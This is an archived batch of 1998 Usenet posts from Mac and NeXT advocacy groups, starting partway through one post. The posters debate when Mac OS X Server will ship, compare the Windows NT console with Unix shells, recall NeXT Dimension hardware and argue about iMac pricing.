> Choose to believe what you will. The point is, software exists that, in
> its DR2 form, was by all accounts of almost shipping quality. I know
> people who use it as their daily work environment, both as users and
> as developers. So much is incontrovertible.
This message is being written on a machine that is exactly so equipped.
For all forms of Rhapsody/OPENSTEP/YB Windows development, as well as
all of my daily work (some of which is performed by applications on a
NeXTStation running OS 4.2 that is NXHosting to the PowerMac).
> It DOESN'T mean that it will ship soon, although Steve Jobs stated in
> his WWDC speech it would ship in Q3 1998. It doesn't mean Apple is
> committed to making a big push for it.
As a developer, I am comfortable with the release schedule that has been
indicated. I tend to agree with Malcolm that October is a likelier date
than September, but I'm comfortable in that general timeframe. But I am
equally unhappy with the lack of pricing and marketing information. I
think there are still a number of people inside Apple who don't quite
know what they want to do with all this for the time being. They know
where they are trying to get next year, but often this "interim" Server
release seems in need of a true champion.
Stephan, to answer your original question: Yes, I think OS X Server is
an imminent probability. No, Apple has not given up on it. No, I do not
know how much it will cost, how it will be sold, or to whom it will be
marketed. But I hope *someone* latches onto what a gem they have, and
starts promoting it soon. Just MHO.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-1609981739000001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <id_est-1009980135420001@192.168.1.3> <35F835F3.909C3E2A@ericsson.com> <6t9eqq$gjr@newsb.netnews.att.com> <35F87337.D69A6436@nstar.net> <heaney-1109980117350001@24.0.246.137> <6tbj44$de$2@nnrp03.primenet.com> <*johnnyc*-1509980955000001@jchristie.halifaxcable.dal.ca> <6tlr5v$95c$1@nnrp02.primenet.com> <heaney-1509981559380001@24.0.246.137> <6tn105$8p$1@nnrp4.snfc21.pbi.net> <heaney-1509982121200001@24.0.246.137> <6tp16q$cqg$1@nnrp3.snfc21.pbi.net>
Organization: Solid Object Software
Date: Wed, 16 Sep 1998 21:29:55 GMT
NNTP-Posting-Date: Wed, 16 Sep 1998 14:29:55 PDT
In article <6tp16q$cqg$1@nnrp3.snfc21.pbi.net>, "William Edward Woody"
<woody@alumni.caltech.edu> wrote:
> John Heaney wrote in message ...
> >In article <6tn105$8p$1@nnrp4.snfc21.pbi.net>, "William Edward Woody"
> ><woody@alumni.caltech.edu> wrote:
> >
> >> John Heaney wrote in message ...
> >> >That's not true! There are examples of graphical programming languages.
> >> >Prograph is the best, ....
> >>
> >> Oh, *that*'s where I heard about Prograph! I just got off the phone
> >> from a head hunter who was looking for Prograph experience for
> >> a contract--unfortunately I forget who it was, however. Sorry.
> >
> >Was there like a point to this comment?
>
> Very little, actually.
>
> Except that I do remember a comment from someone in this
> thread that suggested that there are no Prograph jobs out
> there--perhaps because it's a graphical programming environment.
That's pretty funny. I couldn't tell if you were being serious or
sarcastic. I guess it was that low bandwith text thing. ;) <-graphic
included.
If you do remember his name, let me know. I want to keep working in
Prograph as long as I can!
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Tue, 15 Sep 1998 10:22:39 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6tm80j$fnc$1@nnrp3.snfc21.pbi.net>
References: <heaney-0509981648590001@24.0.246.137> <35F6D06C.562D8CEA@ericsson.com> <6t6te6$cpb@newsb.netnews.att.com> <35F702AF.BA9E9097@ericsson.com> <6t92f7$fhs@newsb.netnews.att.com> <35F822A8.2ECB2800@ericsson.com> <heaney-1009981959380001@24.0.246.137> <6tb9c1$q4m$1@nnrp02.primenet.com> <joe.ragosta-1109981035180001@wil123.dol.net> <6tbdr8$dbh$1@bunyip.cc.uq.edu.au> <35f940de.0@news.depaul.edu> <heaney-1109981251420001@24.0.246.137> <x7k93ay1ss.fsf@loathe.com> <jesse-ya02408000R1409981202210001@news.latrobe.edu.au> <slrn6vpenj.sv.jason@jhste1.dyn.ml.org> <6tkc0d$p94$1@nnrp1.snfc21.pbi.net> <slrn6vs4qq.dth.jason@jhste1.dyn.ml.org>
Jason S. wrote in message ...
>>WHAT SYSTEM ADMINISTRATOR? It's my PERSONAL computer!)
>
>I guess that we could conclude that Linux had you talking to yourself.
>
>;)
Oh, I always talk to my computer. And it doesn't even have
speech recognition--which explains why the damned thing
doesn't listen...
- Bill
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 15 Sep 98 10:38:06 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B223F418-1B590@206.165.43.40>
References: <EzBzDK.J8u@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B22318F2-D82A@206.165.43.168> "Lawson English" wrote:
>> Grab the source pixel and place it in a register. Grab the destination
>> pixel and place it in a register. Process each to your heart's content
>> before combining the two. Write the result to memory (offscreen/
>offscreen).
>> That's one read of the source plus one read of the destination plus one
>> write.
>
> Ummm, that's what it does. Clearly you and I are referring to different
>things in "three". By this current definition, the current YB solution is
>again identical.
I did a scan for "NSCompositing" in the AppKit reference material at
Apple's web-site. Could you give me a URL or page number for the reference
that you getting this from?
BTW, scaling a TIFF is not the same thing as manipulating the color space.
In fact, unless you're talking about actually scaling the TIFF in some way,
instead of scaling the bitmap image, that's nothing remarkable. QuickTime
will do that for you if it imports TIFF images (which I think that it
does).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Wed, 16 Sep 1998 16:47:33 -0500
Organization: Ericsson North America Inc.
Message-ID: <360031F5.E14EE17B@ericsson.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <6took8$poc@news1.panix.com> <6tp88s$3jv$1@birch.prod.itd.earthlink.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Gerard Motola wrote:
> But they can't.
Sal, Mr. Motola is a case in point. I think this pretty much validates
what I'm saying.
MJP
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 16 Sep 1998 21:50:57 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6tpbs1$521@newsb.netnews.att.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <6toqvk$aqs$1@nnrp1.dejanews.com> <6totla$48i@newsb.netnews.att.com> <6tp9gk$u1t$1@nnrp1.dejanews.com>
Originator: gupta@tlctest
<spagiola@my-dejanews.com> wrote:
>
>I wish. However, I believe Steve made the keynote at Apple France Expo today,
>and nothing has appeared about what he said. I suspect that if he'd announced
>the ship date of OS X Server, we'd have heard about it by now.
I think it is Sept 17, 10:30 AM.
http://www.apple.fr/AppleExpo98/conf.html#themes
Conference Apple
Presentation de la strategie et des
nouveaux produits Apple.
Jeudi 17 septembre a 10h30
au Palais des Sports - Porte de
Versailles.
-arun gupta
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.os.mac.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy,comp.sys.next.advocacy
Subject: Re: Apple does it again!
Date: Tue, 15 Sep 1998 15:18:49 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1509981518490001@sdn-ar-002casbarp031.dialsprint.net>
References: <1dev43i.1tkqj9r5ejjfdN@pppsl868.chicagonet.net> <6sr8ic$lb1@web.nmti.com> <1dex6g7.zgmaey1mk8xvkN@pppsl974.chicagonet.net> <macghod-0609981243590001@sdn-ar-001casbarp298.dialsprint.net> <1deyxtg.91nx691yqh8xsN@pppsl816.chicagonet.net> <macghod-0709981249470001@sdn-ar-002casbarp275.dialsprint.net> <1df2729.t4i6e418xegi5N@pppsl1026.chicagonet.net> <macghod-0809982340190001@sdn-ar-001casbarp116.dialsprint.net> <1df8ehp.1vdfs4g1wfsl5qN@pppsl889.chicagonet.net> <35fe248d.7800286@news2.new-york.net> <stevehix-1509981253170001@192.168.1.10>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <stevehix-1509981253170001@192.168.1.10>, stevehix@safemail.com
(Steve Hix) wrote:
> >
> > In other words: you have no evidence. Give it a rest, Anton.
>
> I have a vague (more than two weeks old) memory of "macghod" a
> year or more back claiming to have been working as a (contract?)
> tester for Apple.
>
> If somebody absolutely has nothing better to do, and a burning
> desire to unearth the past, they might look through DejaNews...
No need to waste your time. I didnt say it was a lie that I was a
contract tester for Apple, I said that it was a lie that I was fired.
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Content-Type: text/plain; charset=us-ascii
Message-ID: <EzCMLy.K2I@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: none
References: <EzCDyL.3tD@T-FCN.Net> <B2242B84-EBB59@206.165.43.40>
Mime-Version: 1.0
Date: Tue, 15 Sep 1998 23:29:56 GMT
In <B2242B84-EBB59@206.165.43.40> "Lawson English" wrote:
> Not having access to ProjectBuilder....
>
> Perhaps, if you're not under NDA for this aspect, you could quote the
> relevant passage...
Nah, you can find it on their web pages.
> BTW, in order for pre-press folks to manipulate the images using a
> GX-like/QT-vector-like strategy, you have to predefine some manipulation
> capabilities. What capabilities are predefined on a per-color-channel basis
> for bitmaps and vectors?
Just for bitmaps. It appears to support various alpha modes, gamma
correction, various copy modes (XOR, over etc.) and highlighting.
Moreover you DON'T have to define them, you can leave that totally to a
plug-in method or function. THIS is what's missing from the current
interface, but I pointed all of this out to you over a week ago.
> > It is when it's transparent, then it's exactly the same.
>
> In what way is it the same?
Who do you think applies the transparency? The compositing op.
> Which issue were we talking about? Precision is good, you know.
Speed. Blinding, rip-roaring, flying, smoking SPEED.
Maury
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 16 Sep 1998 22:35:22 GMT
Organization: MiscKit Development
Message-ID: <6tpefa$18r$2@news.xmission.com>
References: <6toqvk$aqs$1@nnrp1.dejanews.com> <6tpa71$5s1@shelob.afs.com>
NNTP-Posting-Date: 16 Sep 1998 22:35:22 GMT
Greg_Anderson@afs.com (Gregory H. Anderson) wrote:
> As a developer, I am comfortable with the release schedule that has been
> indicated. I tend to agree with Malcolm that October is a likelier date
> than September, but I'm comfortable in that general timeframe.
Yeah. It takes about a month to get the CDs pressed, packaged, and ready to
ship. I expect to see Mac OS X no sooner than mid October, but I sort of
suspect it won't be too much later than that, barring natural disasters, that
is...
> But I am
> equally unhappy with the lack of pricing and marketing information. I
> think there are still a number of people inside Apple who don't quite
> know what they want to do with all this for the time being. They know
> where they are trying to get next year, but often this "interim" Server
> release seems in need of a true champion.
That's putting it mildly!
> Stephan, to answer your original question: Yes, I think OS X Server is
> an imminent probability. No, Apple has not given up on it.
I think that anyone who knows what is going on at Apple would have to agree
with Greg's (and mmalc's) assessment.
> No, I do not
> know how much it will cost, how it will be sold, or to whom it will be
> marketed. But I hope *someone* latches onto what a gem they have, and
> starts promoting it soon. Just MHO.
That's MHO, too. It really is quite a gem. With a few minor tweaks this
thing could be positioned as a total Win NT 5.0 killer, frankly. Even the
UNIX guys at work have shown quite a bit of interest in this product, which
is a far cry from their normal heaping of sarcastic derision upon Apple's
products. Having BSD under the hood really intrigues them. :-)
--
Later,
-Don Yacktman
don@iserver.com
<a href="http://www.misckit.com/don/index.html">My home page</a>
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 16 Sep 1998 22:35:20 GMT
Organization: MiscKit Development
Message-ID: <6tpef8$18r$1@news.xmission.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35ec7a19.0@news.depaul.edu> <6sjdd8$am7$1@nnrp1.dejanews.com> <6tf372$2b0$2@ironhorse.plsys.co.uk> <6tj38l$mmr$1@nnrp1.dejanews.com> <83gL1.5642$MS.14782014@news.rdc1.sdca.home.com> <6tlmsr$pec$1@nnrp1.dejanews.com> <nDIL1.6166$MS.15673094@news.rdc1.sdca.home.com> <6tnnv7$3sj$1@msunews.cl.msu.edu> <6tonmp$hhn$1@news.spacelab.net> <36008F55.1180C591@exu.ericsson.se>
NNTP-Posting-Date: 16 Sep 1998 22:35:20 GMT
Michael Peck <eusmpec@exu.ericsson.se> wrote:
> Charles W. Swiger wrote:
>
> > They did, of course, ship a NUMA AMP (non-uniform memory architecture
> > asymmetric multiprocessing...which is about as close to techobabble as I
like
> > to come) version-- the NeXT Dimension system.
>
> Chuck, what does it mean that it's "asymmetric"? Do you have any Web
> references to NUMA-style architectures?
No references, but the idea is that:
* each processor has it's own memory, and they don't share a main memory
* each processor is dedicated to specific tasks, and processes cannot migrate
from one processor to another.
A NeXT Dimension system had three processors, and each had it's own separate
memory banks. They were the 680x0 (030 or 040) for most things, the i860 for
graphics, and a 56000 DSP for audio, data acquisition, or ISDN.
Communication between the processors was, IIRC, handled via DMA across the
NeXTBus, which is a modified/enhanced Nubus.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don/index.html">My home page</a>
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Tue, 15 Sep 1998 16:38:45 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1509981638450001@hephaestus.eng.uci.edu>
References: <35f981c1.4716408@news.alt.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tmd2j$145@newsb.netnews.att.com> <35FEC87E.D36A6CA0@nstar.net> <6tmm88$1k7@newsb.netnews.att.com>
In article <6tmm88$1k7@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>Since the opinion of most people in the IT business appears to
>be that moving to an all Intel/Windows platform saves money over
>not moving, the anti-trust arguments do not apply, no matter
>what the threshold is.
Doesn't it depend on the basis of that opinion? I don't recall any of the
new customers of Standard Oil raising complaints either, as their prices
dropped as well. It's a case where the near-term opinion of the customers
does not carry the final verdict. The issue must be balanced against the
opinions of the competition and on the long-term effect of the market
domination.
-Bob Cassidy
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 16 Sep 1998 22:30:35 GMT
Organization: Primenet (602)416-7000
Message-ID: <6tpe6b$1ga$1@nnrp02.primenet.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <36007638.23CDD81F@exu.ericsson.se> <6tokr7$3is@newsb.netnews.att.com> <360080D2.8389C025@exu.ericsson.se> <6touut$4ea@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
: As to Apple's slipping dates for MacOS X Server -- it certainly is not
: OK with me, if only for the reason that the Windows NT 5 delay offers an
: opportunity for Apple. This is being squandered each day that MacOS X Server
: itself is delayed.
I can understand comparing the development process and release strategies
for MacOS X Server and Microsoft NT 5.0 Server. They seem to be similar
strategies, with some differences in the details.
Other than arriving in a hype-free time zone, I don't see that Apple will
be much affected by the ship date of NT 5.0. There are already a couple
versions of NT in the marketplace, including version 4.0 which was fairly
well accepted.
MacOS X Server, to the extent that it will be judged as a "server", is
more likely to be compared to established products.
But let's get real. The primary selling point of the Server is as an
early access to NeXT and Yellow Box technology. I would expect most
people who line up to be choosing MacOS X Server for that reason. There
may be occasional sales to a server role, but I'd think the product's
limited lifespan (still "no releases past 2.0"?) would discourage wide
use.
John
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Wed, 16 Sep 1998 15:32:50 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6tpe9c$j9t$1@nnrp4.snfc21.pbi.net>
References: <heaney-0509981648590001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com><heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com><heaney-0809981243030001@24.0.246.137><6t3nal$124$2@nnrp02.primenet.com><heaney-0809981533040001@24.0.246.137><6t42o6$puq$1@nnrp03.primenet.com><heaney-0809982244000001@24.0.246.137><6t68ia$b2c$1@nnrp03.primenet.com><heaney-0909981627150001@24.0.246.137><6t76bj$hrb$1@nnrp03.primenet.com><6t77jj$6rq$1@nnrp3.snfc21.pbi.net><6t8nsa$ij$1@nnrp03.primenet.com> <6t97qg$ag3$1@nnrp3.snfc21.pbi.net><35F94B82.BF895AAE@ericsson.com> <6tbq52$q06$1@nnrp4.snfc21.pbi.net><35F9AC3D.8593934@ericsson.com> <6tevmv$a1k$1@nnrp3.snfc21.pbi.net><jdoherty-1209982342090001@aus-tx18-17.ix.netcom.com><6tfjrn$nco$1@nnrp4.snfc21.pbi.net><slrn6vo669.s81.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <SCOTT.98Sep15132801@slave.doubleu.com> <6tp0vn$m9s$1@nnrp3.snfc21.pbi.net> <6tp6ft$i1t$1@news.spacelab.net>
Charles W. Swiger wrote in message <6tp6ft$i1t$1@news.spacelab.net>...
>I don't know whether that is Scott's opinion, but lord knows it's certainly
>mine. Doskey and a Cmd prompt do not come close to zsh on a Unix box. The
>largely MS-DOS derived CLI programs under NT are wildly inconsistent in
their
>command-line arguments, syntax, ability to handle wildcards, and so forth.
Wildly inconsistant compared to what? Unix, with it's wildly
inconsistant standards and at least two major flavors with different
command-line arguments, as well as a whole suite of GNU tools that
may or may not be named the same thing as their BSD/SysV counterparts and
which may or may not have the same command-line arguments?
>Often, their functionality tends to be poorly modularized. For instance,
do
>you know just how many things the "net" command can do? And then we could
go
>into the fact that a cmd prompt window is not a terminal emulator, either--
>which is why telnet brings up a seperate window.
Um, it turns out that the cmd prompt window *is* a terminal emulator,
though a primitive one: with the ANSI.SYS extension installed (which
used to be standard AFAIK), the emulator does emulate an ANSI terminal
(a rough subset of VT-52 terminal commands). And even if you don't
have the ANSI.SYS extension installed, it also turns out to be rather
trivial to control the command prompt's cursor and do the usual
assortment of terminal tricks. (Last I heard, there was at least one
or two curses implementations which directly works with the NT
console app.)
That telnet brings up a separate window has more to do with the fact
that the authors of the telnet client rewrote it to add a GUI
interface for it's options than it does the command prompt's
lack of abilities.
- Bill Woody
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Wed, 16 Sep 1998 15:24:19 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6tpdpe$oko$1@nnrp4.snfc21.pbi.net>
References: <heaney-0509981648590001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com><heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com><heaney-0809981243030001@24.0.246.137><6t3nal$124$2@nnrp02.primenet.com><heaney-0809981533040001@24.0.246.137><6t42o6$puq$1@nnrp03.primenet.com><heaney-0809982244000001@24.0.246.137><6t68ia$b2c$1@nnrp03.primenet.com><heaney-0909981627150001@24.0.246.137><6t76bj$hrb$1@nnrp03.primenet.com><6t77jj$6rq$1@nnrp3.snfc21.pbi.net><6t8nsa$ij$1@nnrp03.primenet.com> <6t97qg$ag3$1@nnrp3.snfc21.pbi.net><35F94B82.BF895AAE@ericsson.com> <6tbq52$q06$1@nnrp4.snfc21.pbi.net><35F9AC3D.8593934@ericsson.com> <6tevmv$a1k$1@nnrp3.snfc21.pbi.net><jdoherty-1209982342090001@aus-tx18-17.ix.netcom.com><6tfjrn$nco$1@nnrp4.snfc21.pbi.net><slrn6vo669.s81.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <SCOTT.98Sep15132801@slave.doubleu.com> <6tp0vn$m9s$1@nnrp3.snfc21.pbi.net> <6tp231$cgb$1@bunyip.cc.uq.edu.au> <360026A9.F54C6687@ericsson.com>
ichael Peck wrote in message <360026A9.F54C6687@ericsson.com>...
>No, and it's not a substitute, either. A simple console app does not a
>CLI make. Now, install GNU-Win32 and you have something.
Question: why is the console "app" on Windows NT not a "CLI"?
That is, what defining elements of a CLI are missing from the
Windows NT CLI prompt that makes it insufficient?
As far as I can tell, it has most of the same properties:
you can define 'pipes', you can write "shell scripts", and
the console can launch all sorts of NT apps. So what's
missing from the console that makes it not a CLI? I'm
honestly curious.
And saying "well, it ain't Unix" is just a copout--I
would like specifics.
- Bill Woody
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Adobe K2: Where's the Yellow Box?
Date: Wed, 16 Sep 1998 09:16:08 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <EzDDqw.3oI@AWT.NL>
References: <35F1B78A.E8792B73@earthlink.net>
Part of the reason might be that plans for K2 preceded NeXT's takeover of
Apple, err, Aplle's takeover of NeXT. Most likely they will predate WWDC of
may where the new MacOS X strategy was announced (and there YB was hardly
mentioned).
Another part may be that Adobe wants to have control over portability. Having
their own libraries does that.
---
Gerben Wierda,
Stafmedewerker Adviesraad voor het Wetenschaps- en Technologiebeleid.
Staff member Advisory Council for Science and Technology Policy
Javastraat 42, 2585 AP, Den Haag/The Hague, The Netherlands
Tel (+31) 70 3639922 Fax (+31) 70 3608992
http://www.AWT.nl/prive/wierda/
The fox knows many things, but the hedgehog knows one big thing.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 16 Sep 1998 22:49:50 GMT
Organization: Primenet (602)416-7000
Message-ID: <6tpfae$1ga$2@nnrp02.primenet.com>
References: <heaney-0509981648590001@24.0.246.137> <6tbq52$q06$1@nnrp4.snfc21.pbi.net> <35F9AC3D.8593934@ericsson.com> <6tevmv$a1k$1@nnrp3.snfc21.pbi.net> <jdoherty-1209982342090001@aus-tx18-17.ix.netcom.com> <6tfjrn$nco$1@nnrp4.snfc21.pbi.net>
<slrn6vo669.s81.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <SCOTT.98Sep15132801@slave.doubleu.com> <6tp0vn$m9s$1@nnrp3.snfc21.pbi.net> <6tp231$cgb$1@bunyip.cc.uq.edu.au> <360026A9.F54C6687@ericsson.com> <6tpdpe$oko$1@nnrp4.snfc21.pbi.net>
William Edward Woody <woody@alumni.caltech.edu> wrote:
: Question: why is the console "app" on Windows NT not a "CLI"?
: That is, what defining elements of a CLI are missing from the
: Windows NT CLI prompt that makes it insufficient?
: As far as I can tell, it has most of the same properties:
: you can define 'pipes', you can write "shell scripts", and
: the console can launch all sorts of NT apps. So what's
: missing from the console that makes it not a CLI? I'm
: honestly curious.
Windows, UNIX, and others certainly have Command Line Interfaces. The
central difference is that UNIX programmers like to think of their command
line as a little more: a shell programming environment. The devil is in
the details. There are lots of little things that make the UNIX shell an
environment, and enough to make the Windows prompt painful to a UNIX user.
To name one, the UNIX shell does wildcard expansion for you. That means
that all wildcards (or shell variables, or aliases) are handled uniformly.
Because Windows derives from DOS (to be kind I will simply call it a
"memory constrained system") the shell does not expand wildcards for you.
Instead, Microsoft created a library function which your application _may_
_use_ to expand wildcards. I'd regard that solution as exactly backwards.
The net result is that some programs use it and some don't.
BTW, as part of a "UNIX Integration Package" or some such, Microsoft is
going to start offering a Korn Shell package as an upgrade.
John
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 16 Sep 1998 22:52:44 GMT
Organization: Michigan State University
Message-ID: <6tpffs$2fc$3@msunews.cl.msu.edu>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35ec7a19.0@news.depaul.edu>
<6sjdd8$am7$1@nnrp1.dejanews.com> <6tf372$2b0$2@ironhorse.plsys.co.uk>
<6tj38l$mmr$1@nnrp1.dejanews.com> <83gL1.5642$MS.14782014@news.rdc1.sdca.home.com>
<6tlmsr$pec$1@nnrp1.dejanews.com> <nDIL1.6166$MS.15673094@news.rdc1.sdca.home.com>
<6tnnv7$3sj$1@msunews.cl.msu.edu> <6tonmp$hhn$1@news.spacelab.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: RadicalNews@Radical.Com
In <6tonmp$hhn$1@news.spacelab.net> "Charles W. Swiger" wrote:
> spammers@ruin.the.internet.channelu.com wrote:
> [ ... ]
> >I don't know the complete story about multiprocessing but I've heard that
> >the G3 isn't MP friendly, and I'm sure I also heard on these newsgroups
> >that Mach isn't quite SMP but some other MP..
>
> Mach certainly can support SMP. However, NeXT never shipped a version of
> their OS which had SMP enabled.
>
> They did, of course, ship a NUMA AMP (non-uniform memory architecture
> asymmetric multiprocessing...which is about as close to techobabble as I like
> to come) version-- the NeXT Dimension system.
>
Chuck,
Thanks for at least a data point (I should search my very old c.s.n news
articles and dejanews/altavista etc.).
Do you happen to have any clue whether enabling SMP is as simple
as enabling it in the kernel. I would have though the myriad of underlying
cache and MP hardware implementations would have some effect on
this.
As to the NUMA AMP. Fascinating. I wonder if Mike P. will chime
in here and correct or confirm this (not that I doubt you - just like
to have independant opinions).
Now I have this itch to read up on the different Multiprocessing
methods folks have dreamed up.
Thanks again and my apologies for the multiple posts - I think I'm going
to have to write the RadicalNews folks as every time I wait more than
3600 seconds to post and then hit post I get a panel "Article not posted
click post ... etc." twice before the article seems to be posted..
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: A prediction
Message-ID: <edewEzEFtA.M2G@netcom.com>
Sender: edew@netcom16.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6tnctm$d3q@news1.panix.com> <edewEzE915.5oG@netcom.com> <360027ec.0@news.depaul.edu>
Date: Wed, 16 Sep 1998 22:58:21 GMT
In article <360027ec.0@news.depaul.edu> Jonathan W Hendry <jhendry@shrike.depaul.edu> writes:
>Eric Dew <edew@netcom.com> wrote:
>
>> Look, they're selling the iMac as fast as they can produce them. They
>> can't produce any more or any faster, so why drop the price? If anything,
>> they'd be better off adding a little bit more of feature and upping the
>> price. That way, they can control the inventory a bit better.
>
>> Basic rule in business is that you drop price only when you can't move
>> the product.
>
>Why? Competition from Intel. The iMac may look like a good buy now,
>but it may not in a few months. Especially if some iMac knock-off
>PC's start shipping. Once the PC vendors respond, iMac sales will
>drop off if Apple doesn't refresh the line.
>
The iMac is the un-cola of desktop computers. For wintel vendors to
go into that arena means for coke to make sprite or pepsi to create
pepsi ice (the clear version of pepsi). It ain't going to work, and worse,
it will acknowledge Apple and the iMac as THE front-runner of internet
ready computers. That only makes the iMac more valuable (why buy a
PC knock-off of the iMac when you can have the real thing?). Apple would
be so lucky if PC vendors start shipping a similar looking product. (Remember
the Xerox commercials? "It works like a Xerox..." "It is a Xerox.")
Look, I'm not saying that the $1299 must be set in stone, or that
the currently available features not be changed. But when people are
buying them like hotcakes, why drop the price? Indeed, maybe people
are just as willing to pay $1399 for them. That's $100 profit that
you're missing.
Remember your calculus days when you searched for the optimum? (Gads,
an actual application of calculus in everyday life.) If you sell 100% of
your inventory at X dollars, it may be more profitable to sell 90% of your
inventory at X+C dollars. Since iMacs are leaving stores at the same
rate they're coming in (some reports say the leaving is faster than the
arrival, some say the opposite...let's call it a wash at the moment). Then,
you're essentially selling 100% of your inventory.
Of course, they can't just up the price. The price point is one of the
features. They can, however, add new features to it and sell it at a
higher price where new price > old price + cost of adding new features.
That's the next stage of marketing. When people are starting to buy the
turbo-ed version, and there's a backlog of the first cut iMac, then you
can drop prices on them to move them out. Or, call them iMac classic and
